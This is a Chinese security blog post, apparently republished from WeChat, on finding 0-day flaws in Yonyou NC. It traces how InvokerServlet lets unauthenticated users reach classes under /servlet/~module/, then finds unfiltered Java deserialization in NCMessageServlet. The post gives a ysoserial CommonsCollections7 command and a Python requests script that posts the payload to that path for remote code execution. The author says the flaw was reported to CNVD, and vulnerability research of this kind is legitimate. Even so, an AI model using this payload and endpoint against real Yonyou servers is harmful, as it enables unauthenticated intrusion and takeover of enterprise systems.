用友的0day漏洞挖掘思路

admin 2023年11月6日13:12:09评论173 views字数 8003阅读26分40秒阅读模式


之前已经发过一次了,但是给删了,发现没文章发了。只能再发一下,现在估计都不一样了

用友的0day漏洞挖掘思路

00 环境安装

源码这种东西就不说了。直接在百度上面找一下吧;因为安装包环境都没了,还是干脆就直接一步到位,从如何安装开始。

下载地址:链接: https://pan.baidu.com/s/1XdfQ4J1fXPVOPt1LSpYSGg 密码: gtn2


具体安装情况可以看这篇大佬的链接:https://xz.aliyun.com/t/8242;


数据库安装看这篇大佬:https://blog.csdn.net/weixin_57263771/article/details/128269842


具体安装步骤我就不说了,直接说坑点


数据库安装过程我卡在了7%的地方,然后这个窗口按个回车即可正常安装。


用友的0day漏洞挖掘思路


这边我卡在42,后面安装部分出现问题安装不了。我直接取消了;然后就去安装yonyou nc


解压后目录如下


用友的0day漏洞挖掘思路


用友的0day漏洞挖掘思路


windows的话就双击 setup.bat


用友的0day漏洞挖掘思路


就选择这几个吧,安装的越大虚拟机越卡。


用友的0day漏洞挖掘思路


里面有手册,可以看一下怎么去安装。好久没安装了;安装可能挺久的。然后会出现下图,然后按下图选项进行选择。


用友的0day漏洞挖掘思路


按上面文章来,然后没必要全填写,只要读取保存即可,文件服务器无所谓。


用友的0day漏洞挖掘思路


01 漏洞分析


用友的0day漏洞挖掘思路


我们直接在webapps下面看web.xml


<?xml version="1.0" encoding="UTF-8"?><!--<!DOCTYPE web-app PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN" "http://java.sun.com/dtd/web-app_2_3.dtd">--><web-app xmlns="http://java.sun.com/xml/ns/j2ee"    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"    xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd"    version="2.4" id="WebApp">  <listener>    <listener-class>nc.bs.framework.server.WebApplicationStartupHook</listener-class>  </listener>  <filter>   <filter-name>LoggerFilter</filter-name>   <filter-class>nc.bs.framework.server.LoggerServletFilter</filter-class>  </filter>       <filter-mapping>   <filter-name>LoggerFilter</filter-name>   <url-pattern>/*</url-pattern>   <dispatcher>REQUEST</dispatcher>  </filter-mapping>        <servlet>    <servlet-name>CommonServletDispatcher</servlet-name>        <servlet-class>nc.bs.framework.comn.serv.CommonServletDispatcher</servlet-class>    <init-param>      <param-name>service</param-name>      <param-value>nc.bs.framework.comn.serv.ServiceDispatcher</param-value>    </init-param>    <load-on-startup>10</load-on-startup>  </servlet>
<servlet> <servlet-name>ProvisionServlet</servlet-name> <servlet-class>nc.bs.framework.provision.server.ProvisionServlet</servlet-class> <load-on-startup>5</load-on-startup> </servlet> <servlet> <servlet-name>NCInvokerServlet</servlet-name> <servlet-class>nc.bs.framework.server.InvokerServlet</servlet-class> </servlet> <servlet> <servlet-name>NCFindWebServlet</servlet-name> <servlet-class>nc.bs.framework.server.FindWebResourceServlet</servlet-class> </servlet> <servlet> <servlet-name>ws-ncapplet</servlet-name> <jsp-file>/jsp/wsncapplet.jsp</jsp-file> </servlet>


<servlet> <servlet-name>app-esc</servlet-name> <servlet-class>uap.serverdes.appesc.AppEscServlet</servlet-class> </servlet> <servlet-mapping> <servlet-name>app-esc</servlet-name> <url-pattern>/app.esc</url-pattern> </servlet-mapping>


<servlet-mapping> <servlet-name>ws-ncapplet</servlet-name> <url-pattern>/ncws.jnlp</url-pattern> </servlet-mapping> <servlet-mapping> <servlet-name>NCFindWebServlet</servlet-name> <url-pattern>/NCFindWeb</url-pattern> </servlet-mapping> <servlet-mapping> <servlet-name>CommonServletDispatcher</servlet-name> <url-pattern>/ServiceDispatcherServlet/*</url-pattern> </servlet-mapping>
<servlet-mapping> <servlet-name>ProvisionServlet</servlet-name> <url-pattern>/provision</url-pattern> </servlet-mapping> <servlet-mapping> <servlet-name>NCInvokerServlet</servlet-name> <url-pattern>/service/*</url-pattern> </servlet-mapping> <servlet-mapping> <servlet-name>NCInvokerServlet</servlet-name> <url-pattern>/servlet/*</url-pattern> </servlet-mapping> <mime-mapping> <extension>xls</extension> <mime-type>application/vnd.ms-excel</mime-type> </mime-mapping> <welcome-file-list> <welcome-file>default.jsp</welcome-file> <welcome-file>index.html</welcome-file> <welcome-file>index.htm</welcome-file> <welcome-file>index.jsp</welcome-file> <welcome-file>default.html</welcome-file> <welcome-file>default.htm</welcome-file> </welcome-file-list> <security-constraint> <web-resource-collection> <web-resource-name>uapweb</web-resource-name> <url-pattern>/*</url-pattern> <http-method>PUT</http-method> <http-method>DELETE</http-method> <http-method>HEAD</http-method> <http-method>OPTIONS</http-method> <http-method>TRACE</http-method> </web-resource-collection> <auth-constraint> </auth-constraint> </security-constraint> <login-config> <auth-method>BASIC</auth-method> </login-config> <error-page> <error-code>403</error-code> <location>/error.jsp</location> </error-page> <error-page> <error-code>404</error-code> <location>/error.jsp</location> </error-page> <error-page> <error-code>400</error-code> <location>/error.jsp</location> </error-page> <error-page> <error-code>500</error-code> <location>/error.jsp</location> </error-page> <error-page> <exception-type>java.lang.Exception</exception-type> <location>/error.jsp</location> </error-page> </web-app>


我们再简单看一眼历史漏洞一下


https://mp.weixin.qq.com/s/rhs3m5nq9kDVe2Ka4lpmag


可以看到大部分反序列化,都是/service/路径或者/service/。那么我们就看着两个server是怎么处理流程的


用友的0day漏洞挖掘思路


通过web.xml可以看到只要是这两个开头的都走这个类进行处理。


我们可以把全部的jar 拖出来,然后as Libary当中


用友的0day漏洞挖掘思路


用友的0day漏洞挖掘思路


发现有两个,我们两个都跟进去看一下。那么这边我们也可以下个断点,看看走的是哪一个


用友的0day漏洞挖掘思路


我们把这一串复制下来


C:yonyouhomeufjdkbinjava -server -Xmx768m -XX:PermSize=128m -XX:MaxPermSize=512m -Djava.awt.headless=true -Dfile.encoding=GBK -Duser.timezone=GMT+8 -Dnc.server.name=server -Dnc.server.startCount=0 -DNC_JAVA_HOME=$JAVA_HOME -Dorg.owasp.esapi.resources=C:yonyouhome/ierp/bin/esapi -Dnc.bs.logging.format=text -Dnc.server.location=C:yonyouhome -Drun.side=server -Dnc.run.side=server -cp C:yonyouhomestarter.jar;C:yonyouhomeufjdklibtools.jar;C:yonyouhomeantlibant-launcher.jar;C:yonyouhomelibcnytiruces.jar nc.bs.mw.start.AloneBootstrap start


用友的0day漏洞挖掘思路


然后再把这个参数添加进去,即可进行远程调试


C:yonyouhomeufjdkbinjava -server -Xmx768m -XX:PermSize=128m -XX:MaxPermSize=512m -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -Djava.awt.headless=true -Dfile.encoding=GBK -Duser.timezone=GMT+8 -Dnc.server.name=server -Dnc.server.startCount=0 -DNC_JAVA_HOME=$JAVA_HOME -Dorg.owasp.esapi.resources=C:yonyouhome/ierp/bin/esapi -Dnc.bs.logging.format=text -Dnc.server.location=C:yonyouhome -Drun.side=server -Dnc.run.side=server -cp C:yonyouhomestarter.jar;C:yonyouhomeufjdklibtools.jar;C:yonyouhomeantlibant-launcher.jar;C:yonyouhomelibcnytiruces.jar nc.bs.mw.start.AloneBootstrap start


用友的0day漏洞挖掘思路


运行完毕后在idea中开始调试运行


用友的0day漏洞挖掘思路


在该类中可以看到get和post方法都交由action进行处理。那么我们对这两个类下个断点。看一下进的是fwserver.jar!/nc/bs/framework/server/InvokerServlet还是ncdepend.jar!/nc/bs/framework/server/InvokerServlet


用友的0day漏洞挖掘思路


此时在网址中访问一下漏洞地址


用友的0day漏洞挖掘思路


发现跳到fwserver.jar!/nc/bs/framework/server/InvokerServlet.class这里面


用友的0day漏洞挖掘思路


看到此处先是两个判断,如果security_tokenx0;和user_codex0;为空的话则就解析web路径。可以看到这边还调用了log4j,但是版本不对,就没去尝试了。


try {    if (pathInfo == null) {        throw new ServletException("Service name is not specified, pathInfo is null");    }  // 分删除字符串的头尾空白符    pathInfo = pathInfo.trim();    String moduleName = null;    String serviceName = null;    int beginIndex;    // startsWith检测是否以 "/~"字符开头    if (pathInfo.startsWith("/~")) {        // 如果是,则去除路径前面两个字符 "/~",        moduleName = pathInfo.substring(2);        // 查找字符 "/" 第一次出现处的索引        beginIndex = moduleName.indexOf("/");        // 判断如果索引大于等于0,则截取掉/前面的字符,从而获取类名        if (beginIndex >= 0) {            serviceName = moduleName.substring(beginIndex);            // 如果第一次出现的字符“/”大于0,就可以获取到module名字            if (beginIndex > 0) {                moduleName = moduleName.substring(0, beginIndex);            } else {                moduleName = null;            }        } else {            moduleName = null;            serviceName = pathInfo;        }    } else {


用友的0day漏洞挖掘思路


用友的0day漏洞挖掘思路


随后在去除掉类名前面的“/”,再去执行getServiceObjectx0;()去获取响应的servlet。


用友的0day漏洞挖掘思路


首然后发现这边的module:servicename的形式作为key去map中获取对象。没有获取到只能重新加载,并去实例化对象。这边因为步过了,得换个modulename执行了


用友的0day漏洞挖掘思路


发现找不到对象则会去通过模块的名字获取到容器


用友的0day漏洞挖掘思路


用友的0day漏洞挖掘思路


比如ic等等容器;而这里面的容器每个都存储着路径


用友的0day漏洞挖掘思路


到这边意思就都很明显了,以modules文件夹下面的名字+类的全限定名即可未授权访问了。


用友的0day漏洞挖掘思路


由于yer没有,所以获取失败了。没法获取到容器。


用友的0day漏洞挖掘思路


如果获取到容器,则会从容器缓存查找获取实例化对象。


用友的0day漏洞挖掘思路


如果还没有,最后只能走到loadCLass处获取实例化对象


用友的0day漏洞挖掘思路


用友的0day漏洞挖掘思路


获取完之后就会把这个module和servicename存到map当中。


用友的0day漏洞挖掘思路


用友的0day漏洞挖掘思路


02 思路分析


我们可以发现module下面基本都可以未授权访问,那么我们是不是可以反编译搜索一下呢?还是老办法


用友的0day漏洞挖掘思路


用友的0day漏洞挖掘思路


替换掉重复的有1425个未授权,那么直接批量反编译 = 一大堆0day。这边用一下别人的小脚本批量反编译


https://mp.weixin.qq.com/s/ir29voVD5V2nwSLx4Zf9LQ


批量反编译命令:

python3 decompiler.py -s /Users/m1ng/Documents/Project/反编译/jar/ -d /Users/m1ng/Documents/Project/反编译/source


用友的0day漏洞挖掘思路


现在我们可以开始挖了,设定目录


用友的0day漏洞挖掘思路


用友的0day漏洞挖掘思路


成功找到一个,这不就传说中捡漏小王子嘛。因为nc本身就是c/s架构,所以通信都是用序列化等;且都没有过滤,通过图片可以看到直接通过请求包获取到输入流。那么我们测试一下。先定位攻击路径


用友的0day漏洞挖掘思路


java_package/baseapp_appmessageLevel-1/nc/message/bs/NCMessageServlet.java:43


用友的0day漏洞挖掘思路


那么攻击路径是 /servlet/~baseapp/nc.message.bs.NCMessageServlet


03 漏洞复现


先用工具生成一个命令执行一下看看


java -jar ysoserial-for-woodpecker-0.5.2.jar -g CommonsCollections7 -a "raw_cmd:calc.exe" > tmp.ser


用友的0day漏洞挖掘思路


然后python对目标发包


import requests
proxy = {'http': 'http://127.0.0.1:8080'}
payloadobj = open("./tmp.ser", 'rb').read()host = "http://192.168.2.3/"
URL = host + "servlet/~baseapp/nc.message.bs.NCMessageServlet"res = requests.post(URL, data=payloadobj, proxies=proxy)print(URL)print(res.text)print(payloadobj)


用友的0day漏洞挖掘思路


用友的0day漏洞挖掘思路

漏洞挖掘成功,甚至可以用工具,codeql等自己写规则挖掘了;到此为止,没啥可写的了。该漏洞已在去年上报cnvd。本文仅供技术交流

原文始发于微信公众号(某路人的sec):用友的0day漏洞挖掘思路

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年11月6日13:12:09
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   用友的0day漏洞挖掘思路https://cn-sec.com/archives/2179879.html

发表评论

匿名网友 填写信息